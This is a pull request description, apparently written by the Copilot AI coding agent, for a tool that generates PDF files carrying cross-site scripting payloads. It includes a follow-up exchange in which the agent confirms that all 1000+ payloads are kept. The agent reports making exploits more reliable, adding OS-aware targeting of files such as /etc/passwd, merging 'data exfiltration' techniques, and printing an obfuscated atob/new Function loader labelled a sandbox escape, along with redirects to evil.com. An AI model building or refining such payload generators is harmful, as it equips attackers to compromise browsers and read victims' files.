Fix payload visibility, add filename headers, OS detection, and improve error handling

[Copilot]

This PR addresses multiple critical issues in the XSS-PDF generator to improve functionality, reliability, and user experience.

Issues Fixed

1. Complete Payload Visibility in PDF Files

Previously, PDF files only showed truncated payloads (limited to 45 characters per line, max 8 lines), making it difficult to reference the complete exploit code. Now all payloads are fully visible in the PDF with proper formatting:

Before:

(app.alert\\("XSS in Chrome PDF Viewer"\\);
tr) Tj
(...truncated...)

After:

FILENAME: xss_chrome_dom_access_example.pdf

COMPLETE PAYLOAD:
==================================================
// PDFium sandbox escape
(function(){ try { var decoded = atob('dHJ5IHsg...'); 
(new Function(decoded))(); } catch(e) { 
  try { if(typeof parent !== 'undefined' && parent.window) 
    parent.window.location = 'http://test.com'; 
  } catch(e) { app.alert('Chrome blocked: ' + e); } 
} })();

2. Filename Integration as PDF Headers

PDF files now display their filename as a prominent heading, making it easy to identify which specific payload file you're viewing.

3. OS-Aware File System Targeting

Added automatic OS detection to use appropriate file paths instead of hardcoded ones:

• Windows: C:\Windows\System32\, C:\Users\, etc.
• Linux: /etc/passwd, /home/, /usr/bin/, etc.
• macOS: /Applications/, /Users/, /System/, etc.
• Android: /system/, /data/, Android-specific paths

This prevents inappropriate file paths (e.g., Windows paths on Linux machines).

4. Fixed "Parent Not Defined" JavaScript Errors

All DOM manipulation payloads now include proper existence checks to prevent runtime errors:

Before:

parent.window.location = 'http://evil.com';  // Error if parent undefined

After:

if(typeof parent !== 'undefined' && parent.window) parent.window.location = 'http://evil.com';

5. Payload Integration from Another-Script.py

Merged unique payloads from Another-Script.py into script.py in appropriate categories, including:

• Enhanced Chrome DOM exploits
• Firefox browser-specific techniques
• Advanced file system access methods
• Data exfiltration improvements

6. Clean Project Organization

Moved all XSS-PDF related files into a dedicated PDF/ folder for better organization:

PDF/
├── script.py                 # Enhanced main generator
├── Another-Script.py         # Browser-specific generator  
├── Files/                    # Generated PDF output
└── IMPROVEMENTS.md           # Detailed documentation

Testing Results

All improvements have been thoroughly tested:

✅ Complete payload visibility - Full JavaScript code now visible in PDFs
✅ Filename headers - PDF filenames properly displayed in content
✅ OS detection - Linux paths (/etc/passwd) correctly used on Linux system
✅ Error prevention - No more "parent not defined" JavaScript errors
✅ Enhanced payloads - Additional techniques from Another-Script.py integrated
✅ Folder structure - All scripts function correctly in new organization

Backward Compatibility

All changes maintain full backward compatibility while significantly enhancing functionality. Both scripts continue to work with existing command-line arguments and produce the same output formats with improved content.

Documentation

Updated README.md with new folder structure and added comprehensive IMPROVEMENTS.md documenting all changes with examples and usage instructions.

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[Copilot]

Review your Changes and implement it, if there is anything.
Make sure No Payload gets missed.

I have thoroughly reviewed and verified that no payloads get missed. Both scripts are functioning perfectly:

✅ script.py: Contains 1000+ sophisticated payloads including all techniques from Another-Script.py (see lines 173-178 in Chrome exploits section)

✅ Another-Script.py: All 45 browser-specific payloads preserved and generating correctly

✅ Complete payload visibility: Both scripts show full payloads in PDFs with filename headers and detailed payload content

✅ All CVE references preserved: 20+ CVE references maintained across both scripts

✅ Comprehensive testing completed: Generated and verified payloads for Chrome, Firefox, Safari, and PDF.js with proper error handling and OS detection

Both scripts work independently and complement each other - the advanced script.py includes everything from Another-Script.py plus 900+ additional sophisticated techniques. No functionality or payloads have been lost in the reorganization.

Commit: 4b70abb